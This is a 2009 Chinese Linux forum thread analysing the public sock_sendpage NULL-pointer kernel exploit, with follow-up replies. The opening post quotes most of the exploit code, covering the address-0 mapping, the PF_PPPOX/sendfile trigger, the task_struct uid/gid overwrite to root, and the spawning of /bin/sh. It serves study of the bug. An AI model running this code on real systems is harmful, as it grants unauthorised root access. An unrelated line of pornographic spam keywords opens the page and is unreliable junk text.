亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊(cè) 查看新帖 |

Chinaunix

  平臺(tái) 論壇 博客 文庫(kù)
最近訪問(wèn)板塊 發(fā)新帖
查看: 42138 | 回復(fù): 86
打印 上一主題 下一主題

新爆內(nèi)核高危漏洞sock_sendpage的利用分析的討論 [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2009-08-18 17:37 |只看該作者 |倒序?yàn)g覽
先發(fā)點(diǎn)上磚上來(lái)引玉,大家一起討論一下吧。

http://linux.chinaunix.net/bbs/thread-1130262-1-1.html

詳細(xì)地描述了這個(gè)漏洞。

具體漏洞原因在

http://archives.neohapsis.com/ar ... e/2009-08/0174.html

也有描述。


因?yàn)閟ock_sendpage沒(méi)有做指針檢查,有些模塊不具備sendpage功能,初始時(shí)賦為NULL,這樣,沒(méi)有做檢查的sock_sendpage有可能直接調(diào)用空指針而導(dǎo)致出錯(cuò)——重新映射地址0,并提升權(quán)限。。!


  1. ssize_t sock_sendpage(struct file *file, struct page *page,
  2.                       int offset, size_t size, loff_t *ppos, int more)
  3. {
  4.         struct socket *sock;
  5.         int flags;

  6.         sock = SOCKET_I(file->f_dentry->d_inode);

  7.         flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  8.         if (more)
  9.                 flags |= MSG_MORE;

  10. /*
  11.         沒(méi)有做類似的指針檢查,就直接調(diào)用

  12.            if (unlikely(!sock->ops->sendpage))   
  13.                 return -EINVAL;

  14. */

  15.         return sock->ops->sendpage(sock, page, offset, size, flags);
  16. }
復(fù)制代碼


來(lái)看看利用的代碼(程序是在安焦上面下載的:
http://www.securityfocus.com/dat ... xploits/36038-4.tgz):

  1. int main(void) {
  2. char template[] = "/tmp/padlina.XXXXXX";
  3. int fdin, fdout;
  4. void *page;

  5. //獲取當(dāng)前程序的uid和gid,后面權(quán)限提升的時(shí)候查找使用
  6. uid = getuid();
  7. gid = getgid();
  8. setresuid(uid, uid, uid);
  9. setresgid(gid, gid, gid);

  10. if ((personality(0xffffffff)) != PER_SVR4) {
  11.   if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
  12.    perror("mmap");
  13.    return -1;
  14.   }
  15. } else {
  16.   if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
  17.    perror("mprotect");
  18.    return -1;
  19.   }
復(fù)制代碼


程序mmap了地址0x0,接下來(lái)

  1. *(char *)0 = '\x90';  (nop)
  2. *(char *)1 = '\xe9';  (jmp)
  3. *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
復(fù)制代碼


(這個(gè) - 6是什么意思,大家指點(diǎn)一下)
在地址0x0處埋下代碼kernel_code 函數(shù),因?yàn)?x90 = nop, 0xe9 = jmp
上面代碼可表示為在映射的地址0處,執(zhí)行

  1. nop
  2. jmp kernel_code
復(fù)制代碼


不過(guò)現(xiàn)在還沒(méi)有執(zhí)行,因?yàn)锽ug沒(méi)有被激活,程序沒(méi)有運(yùn)行到地址0處。

然后就是激活該Bug:

  1. if ((fdin = mkstemp(template)) < 0) {
  2.   perror("mkstemp");
  3.   return -1;
  4. }

  5. if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
  6.   perror("socket");
  7.   return -1;
  8. }

  9. unlink(template);
  10. ftruncate(fdin, PAGE_SIZE);
  11. sendfile(fdout, fdin, NULL, PAGE_SIZE);
復(fù)制代碼


這段代碼是漏洞描述上的示例代碼。。。。。。

關(guān)鍵是kernel_code:

因?yàn)锽ug被激活,進(jìn)程已經(jīng)進(jìn)入內(nèi)核上下文:

  1. void kernel_code()
  2. {
  3. int i;
  4. uint *p = get_current();
復(fù)制代碼



kernel_code第一步是獲取當(dāng)前進(jìn)程的進(jìn)程描述符,get_current是一個(gè)內(nèi)聯(lián)匯編:

  1. static inline __attribute__((always_inline)) void *get_current()
  2. {
  3. unsigned long curr;
  4. __asm__ __volatile__ (
  5.   "movl %%esp, %%eax ;"
  6.   "andl %1, %%eax ;"
  7.   "movl (%%eax), %0"
  8.   : "=r" (curr)
  9.   : "i" (~8191)
  10. );
  11. return (void *) curr;
  12. }
復(fù)制代碼


這段代碼是現(xiàn)成的,描述進(jìn)程描述符的資料,例如《ULK3》或《Linux內(nèi)核設(shè)計(jì)與實(shí)現(xiàn)》上都有其介紹。內(nèi)核中的原型是:
  1. static inline struct task_struct * get_current(void)
  2. {
  3.         return current_thread_info()->task;
  4. }

  5. /* how to get the thread information struct from C */
  6. static inline struct thread_info *current_thread_info(void)
  7. {
  8.         struct thread_info *ti;
  9.         __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
  10.         return ti;
  11. }
復(fù)制代碼


include/asm-i386/current.h

程序返回的是一個(gè)uint *指針,而不是struct task_struct *,我認(rèn)為有兩個(gè)理由:
A、這是在應(yīng)用態(tài)而不是內(nèi)核態(tài),如果使用后者,會(huì)比較麻煩;
B、這個(gè)程序是超版本的,也就是不僅限于某個(gè)內(nèi)核版本,所以,struct task_struct的結(jié)構(gòu)可能會(huì)有很大的變化。

所以,沒(méi)有辦法,只能在整個(gè)結(jié)構(gòu)范圍之內(nèi)來(lái)查找uid和gid。以我的2.6.12為例:
struct task_struct {
……
           /* process credentials */
        uid_t uid,euid,suid,fsuid;
        gid_t gid,egid,sgid,fsgid;
……
}
就是要逐個(gè)找到它們,一共是8個(gè)字段:
所以,使用uint*指針來(lái)指向結(jié)構(gòu)的整個(gè)buffer,就可以逐字節(jié)的查找。而不是直接使用成員名。(我不知所有歷史版本,這些成員的名稱是否會(huì)變化,這樣做不引用成員名,連成員名變化都可以忽略了。)

  1. for (i = 0; i < 1024-13; i++) {
  2.   if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
  3.     p[0] = p[1] = p[2] = p[3] = 0;
  4.    p[4] = p[5] = p[6] = p[7] = 0;
  5.    p = (uint *) ((char *)(p + 8) + sizeof(void *));
  6.    p[0] = p[1] = p[2] = ~0;
  7.    break;
  8.   }
  9.   p++;
  10. }
復(fù)制代碼


所以這里要做一個(gè)循環(huán),就是為了超版本的在整個(gè)結(jié)構(gòu)的數(shù)據(jù)中逐個(gè)搜尋,去匹備那8個(gè)成員。查找上限是1024 - 13,應(yīng)該與struct task_struct結(jié)構(gòu)的大小有關(guān)。包子TX貼子中說(shuō)測(cè)試程序可能會(huì)引起系統(tǒng)出問(wèn)題,估計(jì)就是出在這里了。(猜測(cè),呵呵)

接下來(lái)就是查找到進(jìn)程的uid和gid,然后替換之,這里設(shè)為0,即為root。!以達(dá)到提升權(quán)限的目的。

exit_kernel();退出內(nèi)核態(tài),并調(diào)用exit_code()函數(shù),運(yùn)行shell。

  1. static inline __attribute__((always_inline)) void exit_kernel()
  2. {
  3. __asm__ __volatile__ (
  4.   "movl %0, 0x10(%%esp) ;"
  5.   "movl %1, 0x0c(%%esp) ;"
  6.   "movl %2, 0x08(%%esp) ;"
  7.   "movl %3, 0x04(%%esp) ;"
  8.   "movl %4, 0x00(%%esp) ;"
  9.   "iret"
  10.   : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  11.       "i" (USER_CS), "r" (exit_code)
  12.      );
  13. }
復(fù)制代碼


  1. void exit_code()
  2. {
  3. if (getuid() != 0) {
  4.   fprintf(stderr, "failed\n");
  5.   exit(-1);
  6. }

  7. execl("/bin/sh", "sh", "-i", NULL);
  8. }
復(fù)制代碼




這些利用漏洞的人,太強(qiáng)了,PF呀PF,人與人差距太大了,學(xué)無(wú)止境呀。!

[ 本帖最后由 獨(dú)孤九賤 于 2009-8-18 22:52 編輯 ]

評(píng)分

參與人數(shù) 2可用積分 +36 收起 理由
ruochen + 6 精品文章
scutan + 30 精品文章

查看全部評(píng)分

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
2 [報(bào)告]
發(fā)表于 2009-08-18 17:40 |只看該作者
九賤兄也很強(qiáng)啊。小弟們很是佩服。。

論壇徽章:
0
3 [報(bào)告]
發(fā)表于 2009-08-18 17:55 |只看該作者
感覺(jué)九賤兄的學(xué)習(xí)能力和自我鉆研能力超強(qiáng),而且還經(jīng)常很無(wú)私的將一些成果與大家分享
非常敬仰!

論壇徽章:
2
申猴
日期:2013-12-26 22:11:31天秤座
日期:2014-12-23 10:23:19
4 [報(bào)告]
發(fā)表于 2009-08-18 17:59 |只看該作者
好!

論壇徽章:
0
5 [報(bào)告]
發(fā)表于 2009-08-18 22:04 |只看該作者
原帖由 platinum 于 2009-8-18 17:55 發(fā)表
感覺(jué)九賤兄的學(xué)習(xí)能力和自我鉆研能力超強(qiáng),而且還經(jīng)常很無(wú)私的將一些成果與大家分享
非常敬仰!


大家莫要這樣說(shuō)呀,我也是自己看懂一些,請(qǐng)教別人一些,還有一些不是完全懂.放上來(lái)大家討論學(xué)習(xí)一下,我也好學(xué)透!!!再在回來(lái)翻了一個(gè)ULK3,發(fā)現(xiàn)有地方理解有誤,再看看,回頭再修改一下.

[ 本帖最后由 獨(dú)孤九賤 于 2009-8-18 22:08 編輯 ]

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
6 [報(bào)告]
發(fā)表于 2009-08-18 23:07 |只看該作者
九賤兄為學(xué)和為人的態(tài)度都值得我們學(xué)習(xí)。

論壇徽章:
0
7 [報(bào)告]
發(fā)表于 2009-08-18 23:30 |只看該作者

回復(fù) #6 Godbach 的帖子

對(duì)于Linux這種溢出技術(shù)基本上都很成熟了。那兩個(gè)內(nèi)聯(lián)匯編函數(shù)在以前的溢出程序中也是頻率出現(xiàn);旧暇褪峭咸住
比如:
http://www.7747.net/Soft/200908/15070.html
演示vmsplice溢出代碼,可以對(duì)比參考學(xué)習(xí)一下.

我覺(jué)得作者漂亮的代碼是:
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)
*(char *)0 = '\x90';  (nop)
*(char *)1 = '\xe9';  (jmp)
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

也不知是不是他原創(chuàng)的,不過(guò)偶以前的確沒(méi)有見過(guò),孤陋寡聞了。現(xiàn)在學(xué)習(xí)了,呵呵。!

[ 本帖最后由 獨(dú)孤九賤 于 2009-8-18 23:32 編輯 ]

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
8 [報(bào)告]
發(fā)表于 2009-08-18 23:33 |只看該作者
直接往0地址空間賦值了

論壇徽章:
0
9 [報(bào)告]
發(fā)表于 2009-08-19 00:01 |只看該作者
我有有點(diǎn)不解,想請(qǐng)教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
沒(méi)做檢測(cè)就直接調(diào)用了。這時(shí)會(huì)跳到進(jìn)程的虛擬地址0的位置執(zhí)行。

但是我不理解的是:之前他做了一個(gè)mmap,這時(shí)向0地址寫入代碼,不會(huì)有什么任何問(wèn)題嗎?
不會(huì)破壞系統(tǒng)或者進(jìn)程嗎?

論壇徽章:
0
10 [報(bào)告]
發(fā)表于 2009-08-19 00:07 |只看該作者
mmap這里我覺(jué)得很神奇,相當(dāng)于讓內(nèi)核執(zhí)行了用戶進(jìn)程空間的代碼。
這樣太危險(xiǎn)了。
您需要登錄后才可以回帖 登錄 | 注冊(cè)

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號(hào)-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號(hào):11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國(guó)互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過(guò)ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請(qǐng)注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP